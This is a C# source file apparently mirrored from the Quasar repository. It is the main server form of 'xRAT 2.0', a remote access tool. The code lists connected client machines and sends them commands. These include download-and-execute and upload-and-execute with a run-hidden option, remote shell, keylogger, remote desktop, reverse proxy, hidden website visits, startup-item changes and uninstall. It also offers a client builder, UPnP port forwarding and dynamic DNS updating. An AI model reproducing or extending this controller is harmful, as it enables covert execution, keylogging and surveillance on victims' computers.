mirror of https://github.com/quasar/Quasar.git
817 lines
29 KiB
C#
817 lines
29 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
using xServer.Core;
|
|
using xServer.Core.Commands;
|
|
using xServer.Core.Extensions;
|
|
using xServer.Core.Helper;
|
|
using xServer.Core.Misc;
|
|
using xServer.Core.Packets;
|
|
using xServer.Settings;
|
|
|
|
namespace xServer.Forms
|
|
{
|
|
public partial class FrmMain : Form
|
|
{
|
|
private const int STATUS_ID = 4;
|
|
private const int USERSTATUS_ID = 5;
|
|
|
|
public Server ListenServer;
|
|
private readonly ListViewColumnSorter _lvwColumnSorter;
|
|
public static volatile FrmMain Instance;
|
|
private bool _titleUpdateRunning;
|
|
private readonly object _lockClients = new object();
|
|
|
|
private void ReadSettings(bool writeIfNotExist = true)
|
|
{
|
|
if (writeIfNotExist)
|
|
XMLSettings.WriteDefaultSettings();
|
|
|
|
XMLSettings.ListenPort = ushort.Parse(XMLSettings.ReadValue("ListenPort"));
|
|
XMLSettings.ShowToU = bool.Parse(XMLSettings.ReadValue("ShowToU"));
|
|
XMLSettings.AutoListen = bool.Parse(XMLSettings.ReadValue("AutoListen"));
|
|
XMLSettings.ShowPopup = bool.Parse(XMLSettings.ReadValue("ShowPopup"));
|
|
XMLSettings.UseUPnP = bool.Parse(XMLSettings.ReadValue("UseUPnP"));
|
|
|
|
XMLSettings.ShowToolTip = bool.Parse(XMLSettings.ReadValueSafe("ShowToolTip", "False"));
|
|
XMLSettings.IntegrateNoIP = bool.Parse(XMLSettings.ReadValueSafe("EnableNoIPUpdater", "False"));
|
|
XMLSettings.NoIPHost = XMLSettings.ReadValueSafe("NoIPHost");
|
|
XMLSettings.NoIPUsername = XMLSettings.ReadValueSafe("NoIPUsername");
|
|
XMLSettings.NoIPPassword = XMLSettings.ReadValueSafe("NoIPPassword");
|
|
|
|
XMLSettings.Password = XMLSettings.ReadValue("Password");
|
|
}
|
|
|
|
private void ShowTermsOfService(bool show)
|
|
{
|
|
if (show)
|
|
{
|
|
using (var frm = new FrmTermsOfUse())
|
|
{
|
|
frm.ShowDialog();
|
|
}
|
|
Thread.Sleep(300);
|
|
}
|
|
}
|
|
|
|
public FrmMain()
|
|
{
|
|
Instance = this;
|
|
|
|
ReadSettings();
|
|
|
|
#if !DEBUG
|
|
ShowTermsOfService(XMLSettings.ShowToU);
|
|
#endif
|
|
|
|
InitializeComponent();
|
|
|
|
this.Menu = mainMenu;
|
|
|
|
_lvwColumnSorter = new ListViewColumnSorter();
|
|
lstClients.ListViewItemSorter = _lvwColumnSorter;
|
|
|
|
lstClients.RemoveDots();
|
|
lstClients.ChangeTheme();
|
|
}
|
|
|
|
public void UpdateWindowTitle()
|
|
{
|
|
if (_titleUpdateRunning) return;
|
|
_titleUpdateRunning = true;
|
|
try
|
|
{
|
|
this.Invoke((MethodInvoker) delegate
|
|
{
|
|
int selected = lstClients.SelectedItems.Count;
|
|
this.Text = (selected > 0) ?
|
|
string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}]", ListenServer.ConnectedAndAuthenticatedClients, selected) :
|
|
string.Format("xRAT 2.0 - Connected: {0}", ListenServer.ConnectedAndAuthenticatedClients);
|
|
});
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
_titleUpdateRunning = false;
|
|
}
|
|
|
|
private void InitializeServer()
|
|
{
|
|
ListenServer = new Server();
|
|
|
|
ListenServer.AddTypesToSerializer(typeof (IPacket), new Type[]
|
|
{
|
|
typeof (Core.Packets.ServerPackets.InitializeCommand),
|
|
typeof (Core.Packets.ServerPackets.Disconnect),
|
|
typeof (Core.Packets.ServerPackets.Reconnect),
|
|
typeof (Core.Packets.ServerPackets.Uninstall),
|
|
typeof (Core.Packets.ServerPackets.DownloadAndExecute),
|
|
typeof (Core.Packets.ServerPackets.UploadAndExecute),
|
|
typeof (Core.Packets.ServerPackets.Desktop),
|
|
typeof (Core.Packets.ServerPackets.GetProcesses),
|
|
typeof (Core.Packets.ServerPackets.KillProcess),
|
|
typeof (Core.Packets.ServerPackets.StartProcess),
|
|
typeof (Core.Packets.ServerPackets.Drives),
|
|
typeof (Core.Packets.ServerPackets.Directory),
|
|
typeof (Core.Packets.ServerPackets.DownloadFile),
|
|
typeof (Core.Packets.ServerPackets.MouseClick),
|
|
typeof (Core.Packets.ServerPackets.GetSystemInfo),
|
|
typeof (Core.Packets.ServerPackets.VisitWebsite),
|
|
typeof (Core.Packets.ServerPackets.ShowMessageBox),
|
|
typeof (Core.Packets.ServerPackets.Update),
|
|
typeof (Core.Packets.ServerPackets.Monitors),
|
|
typeof (Core.Packets.ServerPackets.ShellCommand),
|
|
typeof (Core.Packets.ServerPackets.Rename),
|
|
typeof (Core.Packets.ServerPackets.Delete),
|
|
typeof (Core.Packets.ServerPackets.Action),
|
|
typeof (Core.Packets.ServerPackets.GetStartupItems),
|
|
typeof (Core.Packets.ServerPackets.AddStartupItem),
|
|
typeof (Core.Packets.ServerPackets.RemoveStartupItem),
|
|
typeof (Core.Packets.ServerPackets.DownloadFileCanceled),
|
|
typeof (Core.Packets.ServerPackets.GetLogs),
|
|
typeof (Core.Packets.ClientPackets.Initialize),
|
|
typeof (Core.Packets.ClientPackets.Status),
|
|
typeof (Core.Packets.ClientPackets.UserStatus),
|
|
typeof (Core.Packets.ClientPackets.DesktopResponse),
|
|
typeof (Core.Packets.ClientPackets.GetProcessesResponse),
|
|
typeof (Core.Packets.ClientPackets.DrivesResponse),
|
|
typeof (Core.Packets.ClientPackets.DirectoryResponse),
|
|
typeof (Core.Packets.ClientPackets.DownloadFileResponse),
|
|
typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
|
|
typeof (Core.Packets.ClientPackets.MonitorsResponse),
|
|
typeof (Core.Packets.ClientPackets.ShellCommandResponse),
|
|
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
|
|
typeof (Core.Packets.ClientPackets.GetLogsResponse),
|
|
typeof (Core.ReverseProxy.Packets.ReverseProxyConnect),
|
|
typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse),
|
|
typeof (Core.ReverseProxy.Packets.ReverseProxyData),
|
|
typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect)
|
|
});
|
|
|
|
ListenServer.ServerState += ServerState;
|
|
ListenServer.ClientState += ClientState;
|
|
ListenServer.ClientRead += ClientRead;
|
|
}
|
|
|
|
private void FrmMain_Load(object sender, EventArgs e)
|
|
{
|
|
InitializeServer();
|
|
|
|
if (XMLSettings.AutoListen)
|
|
{
|
|
if (XMLSettings.UseUPnP)
|
|
UPnP.ForwardPort(ushort.Parse(XMLSettings.ListenPort.ToString()));
|
|
ListenServer.Listen(XMLSettings.ListenPort);
|
|
}
|
|
|
|
if (XMLSettings.IntegrateNoIP)
|
|
{
|
|
NoIpUpdater.Start();
|
|
}
|
|
}
|
|
|
|
private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
|
|
{
|
|
if (ListenServer.Listening)
|
|
ListenServer.Disconnect();
|
|
|
|
if (UPnP.IsPortForwarded)
|
|
UPnP.RemovePort();
|
|
|
|
nIcon.Visible = false;
|
|
nIcon.Dispose();
|
|
Instance = null;
|
|
}
|
|
|
|
private void lstClients_SelectedIndexChanged(object sender, EventArgs e)
|
|
{
|
|
UpdateWindowTitle();
|
|
}
|
|
|
|
private void ServerState(Server server, bool listening)
|
|
{
|
|
try
|
|
{
|
|
this.Invoke((MethodInvoker) delegate
|
|
{
|
|
botListen.Text = listening ? string.Format("Listening on port {0}.", server.Port) : "Not listening.";
|
|
});
|
|
}
|
|
catch (InvalidOperationException)
|
|
{
|
|
}
|
|
}
|
|
|
|
private void ClientState(Server server, Client client, bool connected)
|
|
{
|
|
if (connected)
|
|
{
|
|
client.Value = new UserState();
|
|
// Initialize the UserState so we can store values in there if we need to.
|
|
|
|
new Core.Packets.ServerPackets.InitializeCommand().Execute(client);
|
|
}
|
|
else
|
|
{
|
|
if (client.Value != null)
|
|
{
|
|
client.Value.DisposeForms();
|
|
client.Value = null;
|
|
}
|
|
|
|
RemoveClientFromListview(client);
|
|
}
|
|
}
|
|
|
|
private void ClientRead(Server server, Client client, IPacket packet)
|
|
{
|
|
PacketHandler.HandlePacket(client, packet);
|
|
}
|
|
|
|
public void SetToolTipText(Client c, string text)
|
|
{
|
|
try
|
|
{
|
|
lstClients.Invoke((MethodInvoker) delegate
|
|
{
|
|
var item = GetListviewItemOfClient(c);
|
|
if (item != null)
|
|
item.ToolTipText = text;
|
|
});
|
|
}
|
|
catch (InvalidOperationException)
|
|
{
|
|
}
|
|
}
|
|
|
|
public void AddClientToListview(ListViewItem clientItem)
|
|
{
|
|
try
|
|
{
|
|
if (clientItem == null) return;
|
|
|
|
lstClients.Invoke((MethodInvoker) delegate
|
|
{
|
|
lock (_lockClients)
|
|
{
|
|
lstClients.Items.Add(clientItem);
|
|
ListenServer.ConnectedAndAuthenticatedClients++;
|
|
}
|
|
});
|
|
|
|
UpdateWindowTitle();
|
|
}
|
|
catch (InvalidOperationException)
|
|
{
|
|
}
|
|
}
|
|
|
|
public void RemoveClientFromListview(Client c)
|
|
{
|
|
try
|
|
{
|
|
lstClients.Invoke((MethodInvoker) delegate
|
|
{
|
|
lock (_lockClients)
|
|
{
|
|
foreach (ListViewItem lvi in lstClients.Items.Cast<ListViewItem>()
|
|
.Where(lvi => lvi != null && (lvi.Tag as Client) != null && c.Equals((Client) lvi.Tag)))
|
|
{
|
|
lvi.Remove();
|
|
ListenServer.ConnectedAndAuthenticatedClients--;
|
|
break;
|
|
}
|
|
}
|
|
});
|
|
UpdateWindowTitle();
|
|
}
|
|
catch (InvalidOperationException)
|
|
{
|
|
}
|
|
}
|
|
|
|
public void SetClientStatus(Client c, string text)
|
|
{
|
|
try
|
|
{
|
|
lstClients.Invoke((MethodInvoker) delegate
|
|
{
|
|
var item = GetListviewItemOfClient(c);
|
|
if (item != null)
|
|
item.SubItems[STATUS_ID].Text = text;
|
|
});
|
|
}
|
|
catch (InvalidOperationException)
|
|
{
|
|
}
|
|
}
|
|
|
|
public void SetClientUserStatus(Client c, string text)
|
|
{
|
|
try
|
|
{
|
|
lstClients.Invoke((MethodInvoker) delegate
|
|
{
|
|
var item = GetListviewItemOfClient(c);
|
|
if (item != null)
|
|
item.SubItems[USERSTATUS_ID].Text = text;
|
|
});
|
|
}
|
|
catch (InvalidOperationException)
|
|
{
|
|
}
|
|
}
|
|
|
|
public ListViewItem GetListviewItemOfClient(Client c)
|
|
{
|
|
ListViewItem itemClient = null;
|
|
|
|
lstClients.Invoke((MethodInvoker) delegate
|
|
{
|
|
itemClient = lstClients.Items.Cast<ListViewItem>()
|
|
.FirstOrDefault(lvi => lvi != null && (lvi.Tag as Client) != null && c.Equals((Client) lvi.Tag));
|
|
});
|
|
|
|
return itemClient;
|
|
}
|
|
|
|
public Client[] GetSelectedClients()
|
|
{
|
|
List<Client> clients = new List<Client>();
|
|
|
|
lstClients.Invoke((MethodInvoker)delegate
|
|
{
|
|
lock (_lockClients)
|
|
{
|
|
if (lstClients.SelectedItems.Count == 0) return;
|
|
clients.AddRange(
|
|
lstClients.SelectedItems.Cast<ListViewItem>()
|
|
.Where(lvi => lvi != null && (lvi.Tag as Client) != null)
|
|
.Select(lvi => (Client) lvi.Tag));
|
|
}
|
|
});
|
|
|
|
return clients.ToArray();
|
|
}
|
|
|
|
public void ShowPopup(Client c)
|
|
{
|
|
this.Invoke((MethodInvoker)delegate
|
|
{
|
|
nIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country),
|
|
string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(),
|
|
c.Value.OperatingSystem), ToolTipIcon.Info);
|
|
});
|
|
}
|
|
|
|
private void lstClients_ColumnClick(object sender, ColumnClickEventArgs e)
|
|
{
|
|
// Determine if clicked column is already the column that is being sorted.
|
|
if (e.Column == _lvwColumnSorter.SortColumn)
|
|
{
|
|
// Reverse the current sort direction for this column.
|
|
if (_lvwColumnSorter.Order == SortOrder.Ascending)
|
|
_lvwColumnSorter.Order = SortOrder.Descending;
|
|
else
|
|
_lvwColumnSorter.Order = SortOrder.Ascending;
|
|
}
|
|
else
|
|
{
|
|
// Set the column number that is to be sorted; default to ascending.
|
|
_lvwColumnSorter.SortColumn = e.Column;
|
|
_lvwColumnSorter.Order = SortOrder.Ascending;
|
|
}
|
|
|
|
// Perform the sort with these new sort options.
|
|
lstClients.Sort();
|
|
}
|
|
|
|
#region "ContextMenu"
|
|
|
|
#region "Connection"
|
|
|
|
private void ctxtUpdate_Click(object sender, EventArgs e)
|
|
{
|
|
if (lstClients.SelectedItems.Count != 0)
|
|
{
|
|
using (var frm = new FrmUpdate(lstClients.SelectedItems.Count))
|
|
{
|
|
if (frm.ShowDialog() == DialogResult.OK)
|
|
{
|
|
if (Core.Misc.Update.UseDownload)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
new Core.Packets.ServerPackets.Update(0, Core.Misc.Update.DownloadURL, string.Empty, new byte[0x00], 0, 0).Execute(c);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
new Thread(() =>
|
|
{
|
|
bool error = false;
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
if (c == null) continue;
|
|
if (error) continue;
|
|
|
|
FileSplit srcFile = new FileSplit(Core.Misc.Update.UploadPath);
|
|
var fileName = Helper.GetRandomFilename(8, ".exe");
|
|
if (srcFile.MaxBlocks < 0)
|
|
{
|
|
MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
|
|
"Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
|
error = true;
|
|
break;
|
|
}
|
|
|
|
int ID = new Random().Next(int.MinValue, int.MaxValue - 1337); // ;)
|
|
|
|
CommandHandler.HandleStatus(c,
|
|
new Core.Packets.ClientPackets.Status("Uploading file..."));
|
|
|
|
for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
|
|
{
|
|
byte[] block;
|
|
if (!srcFile.ReadBlock(currentBlock, out block))
|
|
{
|
|
MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
|
|
"Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
|
error = true;
|
|
break;
|
|
}
|
|
new Core.Packets.ServerPackets.Update(ID, string.Empty, fileName, block, srcFile.MaxBlocks, currentBlock).Execute(c);
|
|
}
|
|
}
|
|
}).Start();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
private void ctxtDisconnect_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
new Core.Packets.ServerPackets.Disconnect().Execute(c);
|
|
}
|
|
}
|
|
|
|
private void ctxtReconnect_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
new Core.Packets.ServerPackets.Reconnect().Execute(c);
|
|
}
|
|
}
|
|
|
|
private void ctxtUninstall_Click(object sender, EventArgs e)
|
|
{
|
|
if (lstClients.SelectedItems.Count == 0) return;
|
|
if (
|
|
MessageBox.Show(
|
|
string.Format(
|
|
"Are you sure you want to uninstall the client on {0} computer\\s?\nThe clients won't come back!",
|
|
lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo,
|
|
MessageBoxIcon.Question) == DialogResult.Yes)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
new Core.Packets.ServerPackets.Uninstall().Execute(c);
|
|
}
|
|
}
|
|
}
|
|
|
|
#endregion
|
|
|
|
#region "System"
|
|
|
|
private void ctxtSystemInformation_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
if (c.Value.FrmSi != null)
|
|
{
|
|
c.Value.FrmSi.Focus();
|
|
return;
|
|
}
|
|
FrmSystemInformation frmSI = new FrmSystemInformation(c);
|
|
frmSI.Show();
|
|
}
|
|
}
|
|
|
|
private void ctxtFileManager_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
if (c.Value.FrmFm != null)
|
|
{
|
|
c.Value.FrmFm.Focus();
|
|
return;
|
|
}
|
|
FrmFileManager frmFM = new FrmFileManager(c);
|
|
frmFM.Show();
|
|
}
|
|
}
|
|
|
|
private void ctxtStartupManager_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
if (c.Value.FrmStm != null)
|
|
{
|
|
c.Value.FrmStm.Focus();
|
|
return;
|
|
}
|
|
FrmStartupManager frmStm = new FrmStartupManager(c);
|
|
frmStm.Show();
|
|
}
|
|
}
|
|
|
|
private void ctxtTaskManager_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
if (c.Value.FrmTm != null)
|
|
{
|
|
c.Value.FrmTm.Focus();
|
|
return;
|
|
}
|
|
FrmTaskManager frmTM = new FrmTaskManager(c);
|
|
frmTM.Show();
|
|
}
|
|
}
|
|
|
|
private void ctxtRemoteShell_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
if (c.Value.FrmRs != null)
|
|
{
|
|
c.Value.FrmRs.Focus();
|
|
return;
|
|
}
|
|
FrmRemoteShell frmRS = new FrmRemoteShell(c);
|
|
frmRS.Show();
|
|
}
|
|
}
|
|
|
|
private void ctxtReverseProxy_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
if (c.Value.FrmProxy != null)
|
|
{
|
|
c.Value.FrmProxy.Focus();
|
|
return;
|
|
}
|
|
|
|
FrmReverseProxy frmRS = new FrmReverseProxy(GetSelectedClients());
|
|
frmRS.Show();
|
|
}
|
|
}
|
|
|
|
private void ctxtRegistryEditor_Click(object sender, EventArgs e)
|
|
{
|
|
// TODO
|
|
}
|
|
|
|
private void ctxtShutdown_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
new Core.Packets.ServerPackets.Action(0).Execute(c);
|
|
}
|
|
}
|
|
|
|
private void ctxtRestart_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
new Core.Packets.ServerPackets.Action(1).Execute(c);
|
|
}
|
|
}
|
|
|
|
private void ctxtStandby_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
new Core.Packets.ServerPackets.Action(2).Execute(c);
|
|
}
|
|
}
|
|
|
|
#endregion
|
|
|
|
#region "Surveillance"
|
|
|
|
private void ctxtRemoteDesktop_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
if (c.Value.FrmRdp != null)
|
|
{
|
|
c.Value.FrmRdp.Focus();
|
|
return;
|
|
}
|
|
FrmRemoteDesktop frmRDP = new FrmRemoteDesktop(c);
|
|
frmRDP.Show();
|
|
}
|
|
}
|
|
|
|
private void ctxtPasswordRecovery_Click(object sender, EventArgs e)
|
|
{
|
|
// TODO
|
|
}
|
|
|
|
private void ctxtKeylogger_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
if (c.Value.FrmKl != null)
|
|
{
|
|
c.Value.FrmKl.Focus();
|
|
return;
|
|
}
|
|
FrmKeylogger frmKL = new FrmKeylogger(c);
|
|
frmKL.Show();
|
|
}
|
|
}
|
|
|
|
#endregion
|
|
|
|
#region "Miscellaneous"
|
|
|
|
private void ctxtLocalFile_Click(object sender, EventArgs e)
|
|
{
|
|
if (lstClients.SelectedItems.Count != 0)
|
|
{
|
|
using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count))
|
|
{
|
|
if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath))
|
|
{
|
|
new Thread(() =>
|
|
{
|
|
bool error = false;
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
if (c == null) continue;
|
|
if (error) continue;
|
|
|
|
FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath);
|
|
if (srcFile.MaxBlocks < 0)
|
|
{
|
|
MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
|
|
"Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
|
error = true;
|
|
break;
|
|
}
|
|
|
|
int ID = new Random().Next(int.MinValue, int.MaxValue - 1337); // ;)
|
|
|
|
CommandHandler.HandleStatus(c,
|
|
new Core.Packets.ClientPackets.Status("Uploading file..."));
|
|
|
|
for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
|
|
{
|
|
byte[] block;
|
|
if (!srcFile.ReadBlock(currentBlock, out block))
|
|
{
|
|
MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
|
|
"Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
|
|
error = true;
|
|
break;
|
|
}
|
|
new Core.Packets.ServerPackets.UploadAndExecute(ID,
|
|
Path.GetFileName(UploadAndExecute.FilePath), block, srcFile.MaxBlocks,
|
|
currentBlock, UploadAndExecute.RunHidden).Execute(c);
|
|
}
|
|
}
|
|
}).Start();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
private void ctxtWebFile_Click(object sender, EventArgs e)
|
|
{
|
|
if (lstClients.SelectedItems.Count != 0)
|
|
{
|
|
using (var frm = new FrmDownloadAndExecute(lstClients.SelectedItems.Count))
|
|
{
|
|
if (frm.ShowDialog() == DialogResult.OK)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
new Core.Packets.ServerPackets.DownloadAndExecute(DownloadAndExecute.URL,
|
|
DownloadAndExecute.RunHidden).Execute(c);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
private void ctxtVisitWebsite_Click(object sender, EventArgs e)
|
|
{
|
|
if (lstClients.SelectedItems.Count != 0)
|
|
{
|
|
using (var frm = new FrmVisitWebsite(lstClients.SelectedItems.Count))
|
|
{
|
|
if (frm.ShowDialog() == DialogResult.OK)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
new Core.Packets.ServerPackets.VisitWebsite(VisitWebsite.URL, VisitWebsite.Hidden).Execute(c);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
private void ctxtShowMessagebox_Click(object sender, EventArgs e)
|
|
{
|
|
if (lstClients.SelectedItems.Count != 0)
|
|
{
|
|
using (var frm = new FrmShowMessagebox(lstClients.SelectedItems.Count))
|
|
{
|
|
if (frm.ShowDialog() == DialogResult.OK)
|
|
{
|
|
foreach (Client c in GetSelectedClients())
|
|
{
|
|
new Core.Packets.ServerPackets.ShowMessageBox(
|
|
MessageBoxData.Caption, MessageBoxData.Text, MessageBoxData.Button, MessageBoxData.Icon).Execute(c);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
#endregion
|
|
|
|
#endregion
|
|
|
|
#region "MenuStrip"
|
|
|
|
private void menuClose_Click(object sender, EventArgs e)
|
|
{
|
|
Application.Exit();
|
|
}
|
|
|
|
private void menuSettings_Click(object sender, EventArgs e)
|
|
{
|
|
using (var frm = new FrmSettings(ListenServer))
|
|
{
|
|
frm.ShowDialog();
|
|
}
|
|
}
|
|
|
|
private void menuBuilder_Click(object sender, EventArgs e)
|
|
{
|
|
using (var frm = new FrmBuilder())
|
|
{
|
|
frm.ShowDialog();
|
|
}
|
|
}
|
|
|
|
private void menuStatistics_Click(object sender, EventArgs e)
|
|
{
|
|
if (ListenServer.BytesReceived == 0 || ListenServer.BytesSent == 0)
|
|
MessageBox.Show("Please wait for at least one connected Client!", "xRAT 2.0", MessageBoxButtons.OK,
|
|
MessageBoxIcon.Information);
|
|
else
|
|
{
|
|
using (
|
|
var frm = new FrmStatistics(ListenServer.BytesReceived, ListenServer.BytesSent,
|
|
ListenServer.ConnectedAndAuthenticatedClients, ListenServer.AllTimeConnectedClients.Count))
|
|
{
|
|
frm.ShowDialog();
|
|
}
|
|
}
|
|
}
|
|
|
|
private void menuAbout_Click(object sender, EventArgs e)
|
|
{
|
|
using (var frm = new FrmAbout())
|
|
{
|
|
frm.ShowDialog();
|
|
}
|
|
}
|
|
|
|
#endregion
|
|
|
|
#region "NotifyIcon"
|
|
|
|
private void nIcon_MouseDoubleClick(object sender, MouseEventArgs e)
|
|
{
|
|
this.WindowState = (this.WindowState == FormWindowState.Normal)
|
|
? FormWindowState.Minimized
|
|
: FormWindowState.Normal;
|
|
this.ShowInTaskbar = (this.WindowState == FormWindowState.Normal);
|
|
}
|
|
|
|
#endregion
|
|
}
|
|
} |